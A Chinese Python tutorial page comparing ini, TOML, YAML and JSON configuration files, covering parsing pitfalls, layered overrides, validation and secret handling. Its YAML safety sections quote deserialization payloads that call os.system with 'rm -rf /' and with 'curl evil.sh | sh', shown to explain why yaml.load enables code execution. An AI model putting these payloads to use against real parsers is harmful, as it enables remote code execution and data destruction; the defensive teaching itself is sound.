← 返回题目列表

Python 怎么读写配置文件?ini、toml、yaml、json 该选哪个?

中等 第 20 / 27 题 更新于 2026/07/31
configparsertomllibYAML配置文件

简化版

四种主流配置格式各有定位:iniconfigparser,标准库,简单但只有两层结构且值全是字符串)、tomltomllibPython 3.11 起进标准库,有明确类型、支持注释、是 pyproject.toml 的官方格式)、yamlPyYAML,第三方,表达力最强但坑最多)、json(标准库,机器友好但不支持注释**、不能有尾逗号)。选择原则很清晰:人手写的配置优先 TOML(类型明确、注释友好、标准库支持);机器生成/交换的数据用 JSON已有生态强制(K8s、Ansible、GitHub Actions)才用 YAML;只有老项目才继续用 ini。每种格式的头号坑:① configparser 读出来的值全是字符串**——"0""false" 都是真值,必须用 getint()/getboolean() 转换;② tomllib只读的(写要装 tomli-w),而且必须用二进制模式打开文件open(p, "rb"));③ YAML 必须用 yaml.safe_load()——yaml.load() 能构造任意 Python 对象,是远程代码执行漏洞;YAML 还有著名的「挪威问题」(no/off/yes 被解析成布尔值)和「版本号 1.10 变成浮点数 1.1」;④ JSON 没有注释,且尾逗号是语法错误。核心记忆:人写的配置用 TOML,YAML 一律 safe_load,configparser 的值全是字符串。

详细版

四种格式对比

维度ini (configparser)toml (tomllib)yaml (PyYAML)json
标准库3.11+(只读)❌ 需装 PyYAML
注释# ;##不支持
类型全是字符串✅ 明确(含日期)✅ 但推断诡异✅ 基本类型
嵌套❌ 只有两层✅ 表/数组表✅ 任意深✅ 任意深
多行字符串缩进续行"""| >❌ 只能 \n
可读性好(但缩进敏感)一般
安全安全安全⚠️ load 可 RCE安全
典型场景老项目、setup.cfgpyproject.toml、应用配置K8s、CI、AnsibleAPI、数据交换
# ============ ① ini:configparser ============
import configparser
cfg = configparser.ConfigParser()
cfg.read("app.ini", encoding="utf-8")     # ★不存在也不报错,返回读成功的文件列表★

# app.ini:
#   [DEFAULT]
#   timeout = 30
#   [db]
#   host = localhost
#   port = 5432
#   debug = false

print(cfg["db"]["port"])                  # '5432'  ← ★字符串!★
print(cfg.getint("db", "port"))           # 5432    ← 要显式转换
print(cfg.getboolean("db", "debug"))      # False   ← ★认识 yes/no/on/off/1/0/true/false★
print(bool(cfg["db"]["debug"]))           # True    ← ✗ 陷阱:非空字符串恒为真
print(cfg["db"]["timeout"])               # '30'    ← ★从 [DEFAULT] 继承★
print(cfg.get("db", "missing", fallback="x"))   # 有默认值的取法

# ============ ② toml:tomllib(3.11+,只读) ============
import tomllib
with open("config.toml", "rb") as f:      # ★必须二进制模式!★
    conf = tomllib.load(f)
conf2 = tomllib.loads('port = 5432\n[db]\nhost = "localhost"')

# config.toml:
#   title = "示例"                 # 字符串必须用引号
#   port = 5432                    # 整数
#   debug = false                  # 布尔
#   created = 2026-07-31T12:00:00Z # ★原生日期时间类型★
#   [db]
#   hosts = ["a", "b"]
#   [[servers]]                    # 数组表:可重复的段
#   name = "s1"

print(type(conf["port"]))                 # <class 'int'> ← ★类型是明确的★
# 写 TOML 需要第三方:pip install tomli-w
# import tomli_w; tomli_w.dump(conf, open("out.toml", "wb"))

# ============ ③ yaml:PyYAML(第三方) ============
import yaml
with open("config.yaml", encoding="utf-8") as f:
    data = yaml.safe_load(f)              # ★永远用 safe_load,不要用 load★
yaml.safe_dump(data, open("out.yaml", "w"), allow_unicode=True, sort_keys=False)

# ★ YAML 的经典坑:
#   country: NO        → False(★"挪威问题":NO/no/off/yes 被当布尔★)
#   version: 1.10      → 1.1(★被当浮点数,末尾 0 丢了★)
#   port: 08           → 报错或 8(前导 0 曾被当八进制)
#   time: 12:30        → 750(YAML 1.1 的六十进制!)
#   → 修法:一律加引号 country: "NO"

# ============ ④ json ============
import json
with open("config.json", encoding="utf-8") as f:
    data = json.load(f)
# ✗ JSON 不支持注释;✗ 尾逗号 {"a":1,} 是语法错误
# → 做配置文件时这两点很难受,所以才有 JSON5/JSONC(要第三方库)

# ============ ⑤ 配置分层(★通用最佳实践★)============
import os
def load_config():
    conf = {"port": 8080, "debug": False}          # ① 内置默认
    with open("config.toml", "rb") as f:
        conf.update(tomllib.load(f))               # ② 配置文件覆盖
    if v := os.getenv("APP_PORT"):
        conf["port"] = int(v)                      # ③ 环境变量覆盖
    # ④ 命令行参数优先级最高(argparse)
    return conf

⚠️ 三条硬性规则:① YAML 必须用 yaml.safe_load()yaml.load()(不传 Loader)在旧版 PyYAML 里能反序列化任意 Python 对象——!!python/object/apply:os.system ["rm -rf /"] 这样的内容会被直接执行,是标准的反序列化 RCE 漏洞(PyYAML 5.1 起 load() 不传 Loader 会告警,6.0 起默认变安全,但老代码和老版本仍然是重灾区)。凡是解析外部/用户提供的 YAML,一律 safe_load。② configparser 的值全部是字符串cfg["db"]["debug"] 得到的是 "false" 这个非空字符串,布尔值是 True——这是 ini 配置最经典的线上事故(「我明明配了 debug=false」)。必须用 getboolean()/getint()/getfloat() 做类型转换。③ tomllib.load() 必须传二进制文件对象open(p, "rb")),传文本模式会抛 TypeError: File must be opened in binary mode——这是 TOML 规范强制 UTF-8 编码的结果,而且 tomllib 只能读不能写(写要装 tomli-w)。

完整版教学

一、四种格式的定位与选择

按"谁来写、写什么"选格式:

  人手写、结构简单(几十个选项)           → ★TOML★
    类型明确、支持注释、标准库能读(3.11+)、语法比 YAML 严格不易出错
    Python 官方选它做 pyproject.toml 就是这个理由

  人手写、结构复杂(深层嵌套、模板、复用)  → YAML(但要接受它的坑)
    K8s manifest、CI 流水线、Ansible playbook 都是深层嵌套,YAML 的锚点/引用有价值

  机器生成、机器读、跨语言交换              → JSON
    每种语言都有原生支持;但★没有注释★、★尾逗号是错★,人写起来难受

  老项目、超简单的键值对                    → ini
    setup.cfg、tox.ini、.gitconfig、systemd unit(近亲)
    ★新项目别选它★(没有类型、只有两层)

各自的语法样例(同一份配置):

  ── ini ──               ── toml ──                ── yaml ──
  [db]                    [db]                      db:
  host = localhost        host = "localhost"          host: localhost
  port = 5432             port = 5432                 port: 5432
  ; 注释                  # 注释                      # 注释
  ★值都是字符串★          ★类型明确★                 ★类型靠推断★

  ── json ──
  {"db": {"host": "localhost", "port": 5432}}    ★不能写注释★

一个常被忽略的维度:★谁负责校验★
  四种格式都只负责"解析成 Python 对象",
  ★没有一个会告诉你"port 应该是 1~65535 的整数"★
  → 校验要靠 pydantic / dataclass / 手写检查(见最后一节)

选格式的第一个问题是「谁来写、写什么」。人手写、结构不太深的配置首选 TOML——类型明确、支持注释、语法比 YAML 严格得多(不易写错),而且 Python 3.11 起 tomllib 进了标准库,Python 官方也用它做 pyproject.toml结构复杂、深层嵌套(K8s manifest、CI 流水线、Ansible)基本被 YAML 生态锁定,只能接受它的坑。机器生成、跨语言交换用 JSON——但它不支持注释、尾逗号是语法错误,人写配置会很难受。ini 只适合老项目setup.cfgtox.ini),新项目别选,因为它没有类型、只有两层结构。最后有个常被忽略的维度:这四种格式都只负责「解析成 Python 对象」,没有一个会校验「port 应该是 1~65535 的整数」——校验必须另外做。

二、configparser:值全是字符串

基本用法:
  cfg = configparser.ConfigParser()
  cfg.read("app.ini", encoding="utf-8")     # ★文件不存在★不会报错,返回成功读取的列表
  cfg.read(["default.ini", "local.ini"])    # 多文件,★后面的覆盖前面的★
  cfg.read_string("[a]\nb=1")

  if not cfg.read(path):                    # ✓ 想知道文件是否存在必须自己判断
      raise FileNotFoundError(path)

★ 头号坑:值全是字符串
  [db]
  debug = false
  retries = 0

  cfg["db"]["debug"]        → 'false'   ★非空字符串★
  if cfg["db"]["debug"]:    → ★True!★  ← 经典事故:"我明明配了 false"
  cfg.getboolean("db","debug") → False   ✓ 正确
  cfg.getint("db","retries")   → 0       ✓

  getboolean 认识的值:'1','yes','true','on' → True;'0','no','false','off' → False
  其他值 → ValueError(★比静默出错好★)

DEFAULT 节:所有节共享的默认值
  [DEFAULT]
  timeout = 30
  [db]
  host = localhost
  → cfg["db"]["timeout"] == '30'(★继承来的★)
  ★ 注意:'timeout' in cfg["db"] 也是 True;遍历 cfg["db"] 会带出 DEFAULT 的键
  ★ 名字必须大写 DEFAULT(可用 default_section= 改)

其他必须知道的行为:
  ① ★键名默认小写化★(optionxform = str.lower)
     [db] 里写 Host=x,读的时候是 cfg["db"]["host"]
     ✓ 想保留大小写:cfg.optionxform = str
  ② 节名区分大小写;[db] 和 [DB] 是两个节
  ③ ★插值(interpolation)★:默认开启 BasicInterpolation
     path = %(home)s/data       → 会替换成 home 的值
     ★ 副作用:值里出现的 % 必须写成 %%,否则 InterpolationSyntaxError
     ✓ 不需要插值就关掉:ConfigParser(interpolation=None)
     ✓ 想要 ${a:b} 语法:ExtendedInterpolation()
  ④ 允许无值的键:ConfigParser(allow_no_value=True) → key 单独一行,值为 None
  ⑤ ★写回会丢注释和格式★:
     cfg["db"]["port"] = "5433"
     with open("app.ini","w") as f: cfg.write(f)
     → ★所有注释、空行、原始顺序都没了★
     → 结论:configparser 适合"读",不适合"程序改写用户手写的配置"

类型转换的完整写法:
  cfg.getint / getfloat / getboolean(section, key, fallback=默认值)
  自定义转换:ConfigParser(converters={"list": lambda s: [x.strip() for x in s.split(",")]})
  → 之后可以 cfg.getlist("db", "hosts")

configparser 最重要的一句话是:读出来的值全部是字符串[db] debug = false 读到的是字符串 "false",而它是非空字符串、布尔值为 True——「我明明配了 debug = false 但调试模式还是开着」是这个模块最经典的线上事故。必须用 getboolean()/getint()/getfloat() 转换(getboolean 认识 yes/no/on/off/1/0/true/false,其他值会ValueError 而不是静默出错,这点很好)。另外四个行为要记住:read() 对不存在的文件不报错(返回成功读取的文件列表,想报错要自己判断);键名默认被小写化(想保留大小写要设 cfg.optionxform = str);默认开启插值,所以值里的 % 必须写成 %%(不需要就传 interpolation=None);写回会丢掉所有注释和格式——所以 configparser 适合读、不适合程序改写用户手写的配置

三、tomllib 与 TOML:Python 的官方选择

tomllib(★Python 3.11+ 标准库,只读★):
  import tomllib
  with open("config.toml", "rb") as f:     # ★必须 "rb"!★
      conf = tomllib.load(f)
  conf = tomllib.loads(text_str)           # 从字符串读(这个接受 str)

  ★ 为什么必须二进制模式:TOML 规范强制文件是 UTF-8,
    tomllib 自己按 UTF-8 解码,不接受调用方用别的编码打开
    → 传文本对象会抛 TypeError: File must be opened in binary mode, use `open("foo.toml", "rb")`

  ★ 只读:标准库★不提供写入★
    写:pip install tomli-w → tomli_w.dump(obj, open("f.toml", "wb"))
    3.10 及以下读:pip install tomli(tomllib 就是从它 vendored 进来的)
    try:
        import tomllib
    except ModuleNotFoundError:
        import tomli as tomllib

TOML 的类型系统(★比 ini/yaml 都明确★):
  s = "字符串"              str(★必须有引号★)
  n = 42                    int
  f = 3.14                  float
  b = true                  bool(★小写★)
  d = 2026-07-31            date        ← ★原生日期类型★
  dt = 2026-07-31T12:00:00Z datetime(aware)
  a = [1, 2, 3]             list
  multi = """
  多行字符串"""

  [table]                   → 嵌套 dict:{"table": {...}}
  [table.sub]               → 再嵌一层
  [[array_of_tables]]       → ★可重复的段 → list of dict★
  inline = {x = 1, y = 2}   → 行内表(必须写在一行)

  映射到 Python:TOML 表 → dict,数组表 → list[dict],日期 → datetime.date/datetime

TOML 相比 YAML 的优势(为什么 Python 选它):
  ① ★没有"挪威问题"★:布尔只有 true/false,NO 就是字符串 "NO"(还必须加引号)
  ② ★没有缩进语义★:不会因为空格/tab 混用而崩
  ③ 类型明确:1.10 就是浮点 1.1,"1.10" 是字符串——★写的时候就区分了★
  ④ 规范短小、实现一致(YAML 规范极其复杂,不同实现行为有差异)
  代价:深层嵌套写起来比 YAML 啰嗦(这正是它不做 K8s 配置的原因)

pyproject.toml 的实际例子:
  [project]
  name = "myapp"
  requires-python = ">=3.11"
  dependencies = ["httpx>=0.27"]
  [tool.ruff]
  line-length = 100
  [[tool.mypy.overrides]]        # ★数组表:可以有多组★
  module = "legacy.*"
  ignore_errors = true

tomllib 是 Python 3.11 起的标准库模块,但只能读不能写(写要装 tomli-w;3.10 及以下用 tomlitomllib 就是从它 vendored 进来的,所以可以用 try: import tomllib except: import tomli as tomllib 做兼容)。使用上唯一的门槛是必须用二进制模式打开文件——因为 TOML 规范强制文件为 UTF-8,tomllib 自己负责解码,不接受调用方指定别的编码。TOML 的类型系统是它的核心优势:字符串必须有引号、布尔只有小写 true/false、还有原生的日期时间类型[[array_of_tables]] 这种「可重复的段」直接映射成 list[dict]。相比 YAML 它赢在三点:没有「挪威问题」NO 就是字符串)、没有缩进语义(不会被 tab/空格搞崩)、类型在书写时就已确定1.10 是浮点、"1.10" 是字符串);代价是深层嵌套写起来啰嗦——这正是它适合应用配置而不适合 K8s manifest 的原因。

四、YAML 的坑:safe_load 与「挪威问题」

★ 安全第一:永远用 safe_load / safe_dump
  yaml.load(untrusted)          ✗ 可构造任意 Python 对象 → ★远程代码执行★
    恶意内容示例:!!python/object/apply:os.system ["curl evil.sh | sh"]
  yaml.safe_load(text)          ✓ 只解析基本类型(dict/list/str/int/float/bool/None/date)
  yaml.safe_dump(obj)           ✓ 只序列化基本类型
  ★ PyYAML 5.1 起 load() 不传 Loader 会 warning,6.0 起默认安全,
    但★老版本和老代码仍是漏洞重灾区★(历史 CVE 很多)
  需要自定义类型时用 yaml.YAMLObject 白名单,而不是放开 full_load/unsafe_load

★ 类型推断的坑(YAML 1.1 遗留,PyYAML 至今是 1.1):
  country: NO          → False   ★"挪威问题":NO/no/off/OFF/yes/y/n 都被当布尔★
  answer: y            → 'y'(PyYAML 里是字符串)但有的实现是 True → ★跨实现不一致★
  version: 1.10        → 1.1     ★浮点数,末尾 0 消失★(版本号必须加引号!)
  port: 08             → ★ValueError★(前导 0 被当八进制,8 不是合法八进制位)
  time: 12:30          → 750     ★六十进制!12*60+30★
  value: ~             → None
  key: 2026-07-31      → datetime.date(★自动转日期★)
  ✓ 统一修法:★不确定的一律加引号★  country: "NO"   version: "1.10"

★ 格式的坑:
  - ★不能用 tab 缩进★(只能空格)→ 报错信息还很难懂
  - 缩进决定层级,多一个空格就是另一个结构
  - 同一层级的键重复 → PyYAML ★静默取最后一个★(不报错)
  - 长字符串折行:| 保留换行,> 折成一行,|- 去掉末尾换行

有用的特性(YAML 确实强的地方):
  锚点与引用(复用配置块):
    defaults: &defaults
      timeout: 30
      retries: 3
    prod:
      <<: *defaults          # ★合并键:继承 defaults★
      host: prod.example.com
  多文档:一个文件里用 --- 分隔多个文档 → yaml.safe_load_all(f)

读写模板:
  with open(p, encoding="utf-8") as f:
      cfg = yaml.safe_load(f) or {}          # ★空文件返回 None,用 or {} 兜底★
  yaml.safe_dump(cfg, f, allow_unicode=True, # ★不加会把中文转成 \uXXXX★
                 sort_keys=False,            # ★默认会按键名排序,打乱原顺序★
                 default_flow_style=False)

YAML 的第一条铁律是永远用 safe_load/safe_dumpyaml.load() 能反序列化任意 Python 对象!!python/object/apply:os.system [...] 这样的内容会被直接执行——这是标准的反序列化 RCE(PyYAML 6.0 起默认已安全,但老版本和老代码仍是重灾区)。第二类坑是类型推断:PyYAML 至今遵循 YAML 1.1,于是 NO 被解析成布尔 False(著名的「挪威问题」)、版本号 1.10 变成浮点 1.1(末尾的 0 消失)、12:30 被当成六十进制变成 750、08 因为前导 0 被当八进制而报错——统一的修法是「不确定的一律加引号」。第三类是格式坑:不能用 tab 缩进、缩进决定层级、重复的键会被静默取最后一个。写回时也有两个必备参数:allow_unicode=True(否则中文变成 \uXXXX)和 sort_keys=False(否则键会被按字母排序、打乱原有顺序)。

五、JSON 做配置的局限

JSON 的优点:标准库、跨语言、类型明确、解析快
JSON 的致命短板(做★配置★时):
  ① ★不支持注释★ —— 配置文件不能写注释是硬伤
     变通:加一个 "_comment" 键(丑)、或换格式
  ② ★尾逗号是语法错误★ —— {"a": 1,} 直接报错,编辑时很容易踩
  ③ 只有 6 种类型 —— 没有日期、没有注释、没有多行字符串(只能 \n)
  ④ 必须双引号 —— 单引号是错的
  ⑤ 不支持引用/复用 —— 重复配置只能复制粘贴

  → 所以 JSON 更适合"机器生成给机器读",不适合"人手写手改"

如果非要用 JSON 做配置:
  ✓ JSON5 / JSONC(带注释和尾逗号的扩展):需要第三方库(json5、commentjson)
    ★注意:标准 json 模块读不了它们★
  ✓ 用 json.load(f, object_pairs_hook=...) 定制解析
  ✓ 校验用 jsonschema(这是 JSON 生态相对成熟的地方)

json 模块的配置相关细节:
  json.load(f)                       从文件读
  json.dump(obj, f, indent=2,        ★缩进,让人能读★
            ensure_ascii=False,      ★不加会把中文转成 \uXXXX★
            sort_keys=True)          稳定输出(便于 diff)
  ★ json.dump 不能直接序列化 datetime/Decimal/set → 要传 default= 或先转换
  ★ 重复的键:json 模块★静默取最后一个★(和 YAML 一样)

数据交换 vs 配置文件的分工:
  API 响应、日志、缓存、跨语言传输    → JSON(★不要为了"好看"换成 YAML★)
  人要读要改的配置                    → TOML(简单)/ YAML(复杂嵌套)
  生成给机器读、又想让人偶尔看看      → JSON + indent=2

JSON 在配置场景有几个硬伤:不支持注释(配置文件不能写注释是致命的)、尾逗号是语法错误(人工编辑时极易踩)、只有六种类型(没有日期、没有多行字符串)、必须用双引号、不支持引用复用。所以它适合「机器生成给机器读」而不适合「人手写手改」。真要用可以上 JSON5/JSONC(带注释和尾逗号的扩展),但标准 json 模块读不了它们,需要第三方库。使用 json 模块做配置时记住三个参数:indent=2(让人能读)、ensure_ascii=False(否则中文变成 \uXXXX)、sort_keys=True(输出稳定便于 diff);还要注意 json.dump 不能直接序列化 datetime/Decimal/set,以及重复的键会被静默取最后一个(这点和 YAML 一样)。

六、配置分层与校验:真实项目怎么做

★ 优先级从低到高(十二要素应用的通行做法):
  ① 代码里的内置默认值      —— 保证"什么都不配也能跑"
  ② 配置文件               —— 团队共享、进版本库(★不含密钥★)
  ③ 环境变量               —— 部署环境差异、★密钥走这里★
  ④ 命令行参数             —— 临时覆盖,优先级最高

  实现骨架:
    conf = DEFAULTS.copy()
    conf.update(load_file(path))                    # 文件
    conf.update(from_env(prefix="APP_"))            # 环境变量
    conf.update(vars(parser.parse_args()))          # 命令行
    ★ 注意:嵌套配置的"覆盖"要写★深合并★,dict.update 是浅覆盖
      (用 file 里的 {"db": {"host": x}} 会整个替换掉默认的 db 段)

★ 校验:解析 ≠ 校验
  四种格式都只把文本变成 Python 对象,不会检查业务约束
  ✓ pydantic(最流行):
    class Settings(BaseSettings):
        port: int = 8080
        debug: bool = False
        db_url: str
    → 类型转换 + 校验 + 从环境变量读 + 错误信息友好,一步到位
  ✓ dataclass + 手写 __post_init__ 校验(无依赖)
  ✓ jsonschema(JSON/YAML 生态)
  ★ 关键收益:★启动时就报错★(fail fast),而不是跑到半夜某个分支才炸

★ 密钥绝不要放进配置文件(尤其是进版本库的那份)
  ✗ config.toml 里写 db_password = "..."  → 一旦进 git 就永久留在历史里
  ✓ 环境变量 / .env(★加进 .gitignore★)/ 密钥管理服务(Vault、KMS、云厂商 Secret)
  ✓ 配置文件里只放引用:db_password_env = "APP_DB_PASSWORD"
  ✓ 配置文件权限 0o600(见"文件权限"专题)

其他实践细节:
  ① ★配置文件路径的查找顺序★:命令行 --config > 环境变量 > ./config.toml >
     ~/.config/app/config.toml > /etc/app/config.toml(Unix 惯例)
  ② 多环境:base.toml + prod.toml 叠加,别用一个巨大的 if env == "prod"
  ③ 启动时★打印生效配置★(★脱敏★后),排障时能省很多时间
  ④ 配置热重载:需要文件监听 + 原子替换(见"原子写入"专题),
     且要考虑"改坏了怎么回滚"——多数服务其实重启更简单可靠
  ⑤ 程序改写用户配置:configparser/PyYAML/json 写回都★会丢注释和格式★,
     要保留就用 ruamel.yaml(round-trip 模式)或 tomlkit

真实项目的做法是分层覆盖,优先级从低到高是:内置默认值 → 配置文件 → 环境变量 → 命令行参数。这里有个常见 bug:嵌套配置的覆盖要写深合并,直接 dict.update() 是浅覆盖,文件里的 {"db": {"host": x}} 会把默认的整个 db 段替换掉。第二件事是校验——四种格式都只做「文本 → Python 对象」的转换,不会检查任何业务约束,所以要用 pydantic(类型转换 + 校验 + 读环境变量一步到位)或 dataclass 手写校验,关键收益是启动时就报错(fail fast),而不是跑到半夜某个分支才炸。第三件事是安全:密钥绝不能写进进版本库的配置文件(一旦进 git 就永久留在历史里),应该走环境变量、.env加进 .gitignore)或密钥管理服务,配置文件里只放「引用哪个环境变量」。最后一个实用细节:三种格式写回都会丢注释和格式,需要保留就用 ruamel.yaml(round-trip 模式)或 tomlkit

记忆钩子:「选型一句话:★人手写的配置优先 TOML,机器交换用 JSON,深层嵌套被生态锁定才用 YAML,ini 只留给老项目★。四个头号坑各记一条:①configparser ★读出来的值全是字符串★——debug = false 得到的是非空字符串 ‘false’、布尔值是 True(『我明明配了 false』的经典事故),必须用 getboolean/getint 转换;它还有几个副作用:read() 对不存在的文件不报错、★键名默认被小写化★、默认开启插值所以值里的 % 要写成 %%、★写回会丢光注释和格式★。②tomllib 是 3.11+ 标准库但★只读★(写要 tomli-w),且★必须用二进制模式 open(p,‘rb’)★(TOML 规范强制 UTF-8,由它自己解码);TOML 赢在类型明确(字符串必须带引号、布尔只有小写 true/false、有原生日期)、没有缩进语义、[[数组表]] 直接映射成 list[dict]。③YAML ★必须 safe_load★(yaml.load 能构造任意 Python 对象=反序列化 RCE),还有 YAML 1.1 的推断坑:★NO/no/off 变布尔(挪威问题)、版本号 1.10 变成浮点 1.1、12:30 被当六十进制变 750★——不确定的★一律加引号★;写回要加 allow_unicode=True 和 sort_keys=False。④JSON ★不支持注释、尾逗号是语法错误★,适合机器读不适合人写。★通用架构:默认值 → 配置文件 → 环境变量 → 命令行,优先级递增★(嵌套要写深合并,dict.update 是浅覆盖);★解析不等于校验★,用 pydantic 在启动时 fail fast;★密钥绝不进配置文件★(进了 git 就永久留在历史里),只放『引用哪个环境变量』。」

七、常见误区与追问

  • 误区:configparser 读到的 debug = false 是布尔值 False configparser 的所有值都是字符串——cfg["app"]["debug"] 得到的是 "false" 这个非空字符串,真值判断为 True。于是 if cfg["app"]["debug"]: 永远成立,「我明明配了 debug = false 但调试模式还开着」是这个模块最经典的线上事故;同类的还有 retries = 0 读出来是 "0"(也是 True)。必须用类型转换方法:getboolean()(认识 yes/no/on/off/1/0/true/false,遇到其他值会ValueError——这比静默出错好)、getint()getfloat(),并善用 fallback= 提供默认值。想解析逗号分隔的列表可以自定义转换器:ConfigParser(converters={"list": ...}) 之后就能 cfg.getlist(...)
  • 误区:yaml.load()yaml.safe_load() 只是性能差别。安全差别。yaml.load()(旧版不传 Loader 时)会启用完整的 YAML 标签解析,能构造任意 Python 对象——!!python/object/apply:os.system ["curl evil.sh | sh"] 这样的内容会在解析时直接执行命令,这是标准的反序列化 RCE 漏洞,历史上产生过大量 CVE(配置文件、CI 文件、用户上传的 YAML 都是入口)。safe_load() 只解析基本类型(dict/list/str/int/float/bool/None/date),是唯一应该用于外部输入的选择。PyYAML 5.1 起 load() 不传 Loader 会告警、6.0 起默认变安全,但老版本和老代码仍是重灾区。需要自定义类型时应该用 yaml.YAMLObject 显式白名单,而不是退回 full_load/unsafe_load
  • 误区:YAML 里写 version: 1.10country: NO 没什么问题。 两个都是经典陷阱。1.10 会被解析成浮点数 1.1——末尾的 0 消失了,用它去比较版本号或拼 URL 就会出错;同理 port: 08 会因为「前导 0 被当八进制」而报错,time: 12:30 在 YAML 1.1 里是六十进制、解析成整数 750NO 则会被当成布尔 False(著名的「挪威问题」:挪威的国家代码 NO 被解析成 False),yes/y/on/off 同理,而且不同 YAML 实现的行为还不一致(跨语言项目里尤其危险)。统一的解决办法是「不确定的一律加引号」:version: "1.10"country: "NO"。TOML 没有这类问题——它要求字符串必须显式加引号,布尔只认小写 true/false
  • 误区:tomllib.load() 可以像 json.load() 一样传一个用 open(p) 打开的文件对象。 会抛 TypeError: File must be opened in binary mode, use "open('foo.toml', 'rb')"。原因是 TOML 规范强制文件必须是 UTF-8 编码tomllib 要自己负责解码以保证行为一致,因此拒绝接受已经被调用方按某种编码解码过的文本流。所以固定写法是 with open(path, "rb") as f: tomllib.load(f)(而 tomllib.loads() 接受的是 str,因为字符串已经是解码后的)。另外两个必须知道的限制:tomllib 只能读不能写(写要 pip install tomli-w),以及它只在 Python 3.11+ 才有(3.10 及以下用 tomli,可以用 try: import tomllib / except ModuleNotFoundError: import tomli as tomllib 做兼容)。
  • 误区:用 configparseryaml 改写配置文件后,用户原来的注释还在。 不在了configparser.write()yaml.safe_dump()json.dump() 都是「把内存里的数据结构重新序列化输出」,而注释、空行、键的原始顺序、缩进风格这些信息在解析阶段就已经被丢弃了——写回后用户精心写的注释全部消失,diff 也会变得面目全非。所以这些库适合「读配置」,不适合「程序修改用户手写的配置文件」。真要做原地修改(比如 CLI 提供 myapp config set key=value),需要用支持 round-trip 的库:YAML 用 ruamel.yaml(保留注释和格式)、TOML 用 tomlkitpoetry 就是用它改 pyproject.toml 的)。另外 yaml.safe_dump 还有两个必加参数:allow_unicode=True(否则中文变成 \uXXXX)和 sort_keys=False(否则键被按字母重排)。
  • 追问:Python 为什么选 TOML 做 pyproject.toml,而不是 YAML 或 JSON? PEP 518 讨论时明确比较过。JSON 出局是因为它不支持注释(构建配置需要解释「为什么加这个依赖」)、尾逗号是错误、人工编辑体验差。YAML 出局有三个理由:① 规范极其复杂(完整 YAML 规范比 TOML 长一个数量级),实现之间行为有差异;② 类型推断诡异(「挪威问题」、1.10 变浮点),配置里出现版本号是常态,这个坑不可接受;③ 缩进敏感且不能用 tab,对新手不友好;④ 当时标准库没有 YAML 解析器,而构建工具的配置文件不能依赖第三方包(先有鸡先有蛋的问题)。TOML 胜出是因为:规范短小明确、类型显式、没有缩进语义、语法接近 ini 因此对 Python 用户很熟悉,而且实现简单到可以放进标准库——这最后一点最关键,Python 3.11 果然把它 vendored 成了 tomllib。代价是深层嵌套写起来啰嗦,但构建配置本来就不需要很深的嵌套。
  • 追问:配置的优先级应该怎么设计?为什么密钥要走环境变量? 通行的优先级(从低到高)是:内置默认值 → 配置文件 → 环境变量 → 命令行参数。这个顺序的逻辑是「越接近具体这一次运行的,优先级越高」:默认值保证「什么都不配也能跑」;配置文件承载团队共享的、进版本库的设置;环境变量承载部署环境的差异(不同集群、不同实例);命令行用于临时覆盖(调试时 --debug)。密钥走环境变量(或密钥管理服务)的理由是:配置文件通常要进版本库,一旦密钥被提交,即使后来删除也永久留在 git 历史里(要清理必须 rewrite history + 轮换密钥);而环境变量是部署时注入的,不进代码库、可以按环境不同、便于轮换。配套实践是:配置文件里只写「引用哪个环境变量」(db_password_env = "APP_DB_PASSWORD")、.env 文件必须进 .gitignore、配置文件权限设 0o600、启动时打印生效配置但要脱敏。实现上注意嵌套配置的覆盖要写深合并dict.update() 是浅覆盖会整段替换。
  • 追问:解析出来的配置需要校验吗?怎么做? 必须校验,而且四种格式没有一个会帮你做——它们只负责把文本变成 Python 对象,port = "abc"(YAML/JSON 里是字符串)、port = -1、缺少必填项、多写了一个拼错的键,解析阶段全都不报错。不校验的后果是错误延迟暴露:服务正常启动,直到某个分支真正用到那个配置项才崩,而这可能是凌晨三点。推荐方案:pydantic(BaseSettings 最省事——用类型注解声明结构,自动完成类型转换、范围校验、从环境变量读取、生成友好的错误信息,还能配合 .env;无依赖场景用 dataclass + __post_init__ 手写校验;JSON/YAML 生态里 jsonschema 也很成熟。关键收益是 fail fast:进程启动时就把所有配置问题一次性报出来(「port 必须是 1~65535 的整数,收到 -1」),而不是运行时才发现。额外的好处是拼写错误的键能被发现(pydantic 可以配置为拒绝额外字段),这类问题靠人眼 review 几乎抓不住。

八、加强记忆

选型一句话:人手写的配置优先 TOML、机器交换用 JSON、深层嵌套被生态锁定(K8s/CI/Ansible)才用 YAML、ini 只留给老项目。 四个头号坑各记一条。configparser 读出来的值全是字符串——debug = false 得到的是非空字符串 "false"、布尔值为 True(「我明明配了 false」的经典事故),必须用 getboolean()/getint()/getfloat() 转换;它还有四个副作用:read() 对不存在的文件不报错、键名默认被小写化(要 optionxform = str 才保留)、默认开启插值所以值里的 % 要写成 %%写回会丢光注释和格式tomllib 是 Python 3.11+ 标准库但只读(写要 tomli-w,3.10 及以下用 tomli),且必须用二进制模式 open(p, "rb")(TOML 规范强制 UTF-8、由它自己解码);TOML 赢在类型明确(字符串必须带引号、布尔只有小写 true/false、有原生日期时间)、没有缩进语义[[数组表]] 直接映射成 list[dict]——这正是 PEP 518 选它做 pyproject.toml 的理由。③ YAML 必须 safe_loadyaml.load() 能构造任意 Python 对象,是反序列化 RCE),还要防 YAML 1.1 的推断坑:NO/no/off 变布尔(挪威问题)、版本号 1.10 变成浮点 1.1、12:30 被当六十进制变成 750、08 因前导零报错——不确定的一律加引号;写回必加 allow_unicode=True(否则中文变 \uXXXX)和 sort_keys=False④ JSON 不支持注释、尾逗号是语法错误,适合机器读不适合人写(要注释得上 JSON5/JSONC,标准库读不了)。通用架构是分层覆盖:内置默认值 → 配置文件 → 环境变量 → 命令行,优先级递增(嵌套配置要写深合并dict.update() 是浅覆盖会整段替换);解析不等于校验——四种格式都不检查业务约束,要用 pydantic 在启动时 fail fast密钥绝不能进配置文件(一旦提交就永久留在 git 历史里),只在配置里写「引用哪个环境变量」,.env.gitignore,配置文件权限 0o600。最后:三种格式写回都会丢注释,需要保留就用 ruamel.yamltomlkit